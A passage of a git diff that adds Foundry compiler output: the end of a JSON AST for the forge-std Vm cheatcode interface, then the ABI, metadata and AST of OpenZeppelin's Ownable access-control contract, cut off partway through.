data."},"functionSelector":"f4844814","implemented":false,"kind":"function","modifiers":[],"name":"expectRevert","nameLocation":"83976:12:13","parameters":{"id":15632,"nodeType":"ParameterList","parameters":[],"src":"83988:2:13"},"returnParameters":{"id":15633,"nodeType":"ParameterList","parameters":[],"src":"83999:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15640,"nodeType":"FunctionDefinition","src":"84078:50:13","nodes":[],"documentation":{"id":15635,"nodeType":"StructuredDocumentation","src":"84006:67:13","text":"Expects an error on next call that starts with the revert data."},"functionSelector":"c31eb0e0","implemented":false,"kind":"function","modifiers":[],"name":"expectRevert","nameLocation":"84087:12:13","parameters":{"id":15638,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15637,"mutability":"mutable","name":"revertData","nameLocation":"84107:10:13","nodeType":"VariableDeclaration","scope":15640,"src":"84100:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":15636,"name":"bytes4","nodeType":"ElementaryTypeName","src":"84100:6:13","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"84099:19:13"},"returnParameters":{"id":15639,"nodeType":"ParameterList","parameters":[],"src":"84127:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15646,"nodeType":"FunctionDefinition","src":"84210:58:13","nodes":[],"documentation":{"id":15641,"nodeType":"StructuredDocumentation","src":"84134:71:13","text":"Expects an error on next call that exactly matches the revert data."},"functionSelector":"f28dceb3","implemented":false,"kind":"function","modifiers":[],"name":"expectRevert","nameLocation":"84219:12:13","parameters":{"id":15644,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15643,"mutability":"mutable","name":"revertData","nameLocation":"84247:10:13","nodeType":"VariableDeclaration","scope":15646,"src":"84232:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15642,"name":"bytes","nodeType":"ElementaryTypeName","src":"84232:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"84231:27:13"},"returnParameters":{"id":15645,"nodeType":"ParameterList","parameters":[],"src":"84267:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15654,"nodeType":"FunctionDefinition","src":"84497:59:13","nodes":[],"documentation":{"id":15647,"nodeType":"StructuredDocumentation","src":"84274:218:13","text":"Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the current subcontext. If any other\n memory is written to, the test will fail. Can be called multiple times to add more ranges to the set."},"functionSelector":"6d016688","implemented":false,"kind":"function","modifiers":[],"name":"expectSafeMemory","nameLocation":"84506:16:13","parameters":{"id":15652,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15649,"mutability":"mutable","name":"min","nameLocation":"84530:3:13","nodeType":"VariableDeclaration","scope":15654,"src":"84523:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15648,"name":"uint64","nodeType":"ElementaryTypeName","src":"84523:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15651,"mutability":"mutable","name":"max","nameLocation":"84542:3:13","nodeType":"VariableDeclaration","scope":15654,"src":"84535:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15650,"name":"uint64","nodeType":"ElementaryTypeName","src":"84535:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"84522:24:13"},"returnParameters":{"id":15653,"nodeType":"ParameterList","parameters":[],"src":"84555:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15662,"nodeType":"FunctionDefinition","src":"84798:63:13","nodes":[],"documentation":{"id":15655,"nodeType":"StructuredDocumentation","src":"84562:231:13","text":"Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the next created subcontext.\n If any other memory is written to, the test will fail. Can be called multiple times to add more ranges\n to the set."},"functionSelector":"05838bf4","implemented":false,"kind":"function","modifiers":[],"name":"expectSafeMemoryCall","nameLocation":"84807:20:13","parameters":{"id":15660,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15657,"mutability":"mutable","name":"min","nameLocation":"84835:3:13","nodeType":"VariableDeclaration","scope":15662,"src":"84828:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15656,"name":"uint64","nodeType":"ElementaryTypeName","src":"84828:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15659,"mutability":"mutable","name":"max","nameLocation":"84847:3:13","nodeType":"VariableDeclaration","scope":15662,"src":"84840:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15658,"name":"uint64","nodeType":"ElementaryTypeName","src":"84840:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"84827:24:13"},"returnParameters":{"id":15661,"nodeType":"ParameterList","parameters":[],"src":"84860:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15668,"nodeType":"FunctionDefinition","src":"84939:38:13","nodes":[],"documentation":{"id":15663,"nodeType":"StructuredDocumentation","src":"84867:67:13","text":"Marks a test as skipped. Must be called at the top of the test."},"functionSelector":"dd82d13e","implemented":false,"kind":"function","modifiers":[],"name":"skip","nameLocation":"84948:4:13","parameters":{"id":15666,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15665,"mutability":"mutable","name":"skipTest","nameLocation":"84958:8:13","nodeType":"VariableDeclaration","scope":15668,"src":"84953:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15664,"name":"bool","nodeType":"ElementaryTypeName","src":"84953:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"84952:15:13"},"returnParameters":{"id":15667,"nodeType":"ParameterList","parameters":[],"src":"84976:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15672,"nodeType":"FunctionDefinition","src":"85052:41:13","nodes":[],"documentation":{"id":15669,"nodeType":"StructuredDocumentation","src":"84983:64:13","text":"Stops all safe memory expectation in the current subcontext."},"functionSelector":"0956441b","implemented":false,"kind":"function","modifiers":[],"name":"stopExpectSafeMemory","nameLocation":"85061:20:13","parameters":{"id":15670,"nodeType":"ParameterList","parameters":[],"src":"85081:2:13"},"returnParameters":{"id":15671,"nodeType":"ParameterList","parameters":[],"src":"85092:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":15100,"name":"VmSafe","nameLocations":["71521:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"71521:6:13"},"id":15101,"nodeType":"InheritanceSpecifier","src":"71521:6:13"}],"canonicalName":"Vm","contractDependencies":[],"contractKind":"interface","documentation":{"id":15099,"nodeType":"StructuredDocumentation","src":"71334:171:13","text":"The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used\n in tests, but it is not recommended to use these cheats in scripts."},"fullyImplemented":false,"linearizedBaseContracts":[15673,15098],"name":"Vm","nameLocation":"71515:2:13","scope":15674,"usedErrors":[],"usedEvents":[]}],"license":"MIT OR Apache-2.0"},"id":13} \ No newline at end of file diff --git a/contracts/out/access/Ownable.sol/Ownable.json b/contracts/out/access/Ownable.sol/Ownable.json new file mode 100644 index 000000000..b86e7b59e --- /dev/null +++ b/contracts/out/access/Ownable.sol/Ownable.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner.\",\"kind\":\"dev\",\"methods\":{\"constructor\":{\"details\":\"Initializes the contract setting the deployer as the initial owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":\"Ownable\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol\":{\"keccak256\":\"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2\",\"dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"constructor":{"details":"Initializes the contract setting the deployer as the initial owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":"Ownable"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol":{"keccak256":"0x15e2d5bd4c28a88548074c54d220e8086f638a71ed07e6b3ba5a70066fcf458d","urls":["bzz-raw://90faf5851c02f9bd42c5bfb54d4f0421a2612f50ab80b2c4fa24fa3792071cc2","dweb:/ipfs/QmRGM4F2PcGVF85aTfaA9YBhCHHDqrMhRjyp6fGeBTtirb"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol","id":110,"exportedSymbols":{"Ownable":[109]},"nodeType":"SourceUnit","src":"33:2221:0","nodes":[{"id":1,"nodeType":"PragmaDirective","src":"33:31:0","nodes":[],"literals":["solidity",">=","0.6",".0","<","0.8",".0"]},{"id":2,"nodeType":"ImportDirective","src":"66:30:0","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Context.sol","file":"../utils/Context.sol","scope":110,"sourceUnit":850,"symbolAliases":[],"unitAlias":""},{"id":109,"nodeType":"ContractDefinition","src":"592:1661:0","nodes":[{"id":7,"nodeType":"VariableDeclaration","src":"635:22:0","nodes":[],"constant":false,"mutability":"mutable","name":"_owner","overrides":null,"scope":109,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6,"name":"address","nodeType":"ElementaryTypeName","src":"635:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"private"},{"id":13,"nodeType":"EventDefinition","src":"664:84:0","nodes":[],"anonymous":false,"documentation":null,"name":"OwnershipTransferred","parameters":{"id":12,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9,"indexed":true,"mutability":"mutable","name":"previousOwner","nodeType":"VariableDeclaration","overrides":null,"scope":13,"src":"691:29:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8,"name":"address","nodeType":"ElementaryTypeName","src":"691:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":11,"indexed":true,"mutability":"mutable","name":"newOwner","nodeType":"VariableDeclaration","overrides":null,"scope":13,"src":"722:24:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10,"name":"address","nodeType":"ElementaryTypeName","src":"722:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"690:57:0"}},{"id":35,"nodeType":"FunctionDefinition","src":"850:159:0","nodes":[],"body":{"id":34,"nodeType":"Block","src":"874:135:0","nodes":[],"statements":[{"assignments":[18],"declarations":[{"constant":false,"id":18,"mutability":"mutable","name":"msgSender","nodeType":"VariableDeclaration","overrides":null,"scope":34,"src":"884:17:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17,"name":"address","nodeType":"ElementaryTypeName","src":"884:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"id":21,"initialValue":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":19,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":837,"src":"904:10:0","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_payable_$","typeString":"function () view returns (address payable)"}},"id":20,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"904:12:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"VariableDeclarationStatement","src":"884:32:0"},{"expression":{"argumentTypes":null,"id":24,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":22,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7,"src":"926:6:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":23,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18,"src":"935:9:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"926:18:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":25,"nodeType":"ExpressionStatement","src":"926:18:0"},{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":29,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"988:1:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":28,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"980:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":27,"name":"address","nodeType":"ElementaryTypeName","src":"980:7:0","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":30,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"980:10:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"argumentTypes":null,"id":31,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18,"src":"992:9:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"id":26,"name":"OwnershipTransferred","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":13,"src":"959:20:0","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":32,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"959:43:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33,"nodeType":"EmitStatement","src":"954:48:0"}]},"documentation":{"id":14,"nodeType":"StructuredDocumentation","src":"754:91:0","text":" @dev Initializes the contract setting the deployer as the initial owner."},"implemented":true,"kind":"constructor","modifiers":[],"name":"","overrides":null,"parameters":{"id":15,"nodeType":"ParameterList","parameters":[],"src":"862:2:0"},"returnParameters":{"id":16,"nodeType":"ParameterList","parameters":[],"src":"874:0:0"},"scope":109,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":44,"nodeType":"FunctionDefinition","src":"1085:85:0","nodes":[],"body":{"id":43,"nodeType":"Block","src":"1140:30:0","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":41,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7,"src":"1157:6:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":40,"id":42,"nodeType":"Return","src":"1150:13:0"}]},"documentation":{"id":36,"nodeType":"StructuredDocumentation","src":"1015:65:0","text":" @dev Returns the address of the current owner."},"functionSelector":"8da5cb5b","implemented":true,"kind":"function","modifiers":[],"name":"owner","overrides":null,"parameters":{"id":37,"nodeType":"ParameterList","parameters":[],"src":"1099:2:0"},"returnParameters":{"id":40,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":44,"src":"1131:7:0","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38,"name":"address","nodeType":"ElementaryTypeName","src":"1131:7:0","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"1130:9:0"},"scope":109,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":58,"nodeType":"ModifierDefinition","src":"1258:117:0","nodes":[],"body":{"id":57,"nodeType":"Block","src":"1279:96:0","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":48,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":44,"src":"1297:5:0","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":49,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1297:7:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":50,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":837,"src":"1308:10:0","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_payable_$","typeString":"function () view returns (address payable)"}},"id":51,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1308:12:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1297:23:0","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572","id":53,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1322:34:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""},"value":"Ownable: caller is not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""}],"id":47,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1289:7:0","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1289:68:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55,"nodeType":"ExpressionStatement","src":"1289:68:0"},{"id":56,"nodeType":"PlaceholderStatement","src":"1367:1:0"}]},"documentation":{"id":45,"nodeType":"StructuredDocumentation","src":"1176:77:0","text":" @dev Throws if called by any account other than the owner."},"name":"onlyOwner","overrides":null,"parameters":{"id":46,"nodeType":"ParameterList","parameters":[],"src":"1276:2:0"},"virtual":false,"visibility":"internal"},{"id":80,"nodeType":"FunctionDefinition","src":"1717:145:0","nodes":[],"body":{"id":79,"nodeType":"Block","src":"1771:91:0","nodes":[],"statements":[{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":65,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7,"src":"1807:6:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":68,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1823:1:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":67,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1815:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66,"name":"address","nodeType":"ElementaryTypeName","src":"1815:7:0","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":69,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1815:10:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64,"name":"OwnershipTransferred","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":13,"src":"1786:20:0","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":70,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1786:40:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":71,"nodeType":"EmitStatement","src":"1781:45:0"},{"expression":{"argumentTypes":null,"id":77,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":72,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7,"src":"1836:6:0","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":75,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1853:1:0","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":74,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1845:7:0","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":73,"name":"address","nodeType":"ElementaryTypeName","src":"1845:7:0","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":76,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1845:10:0","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 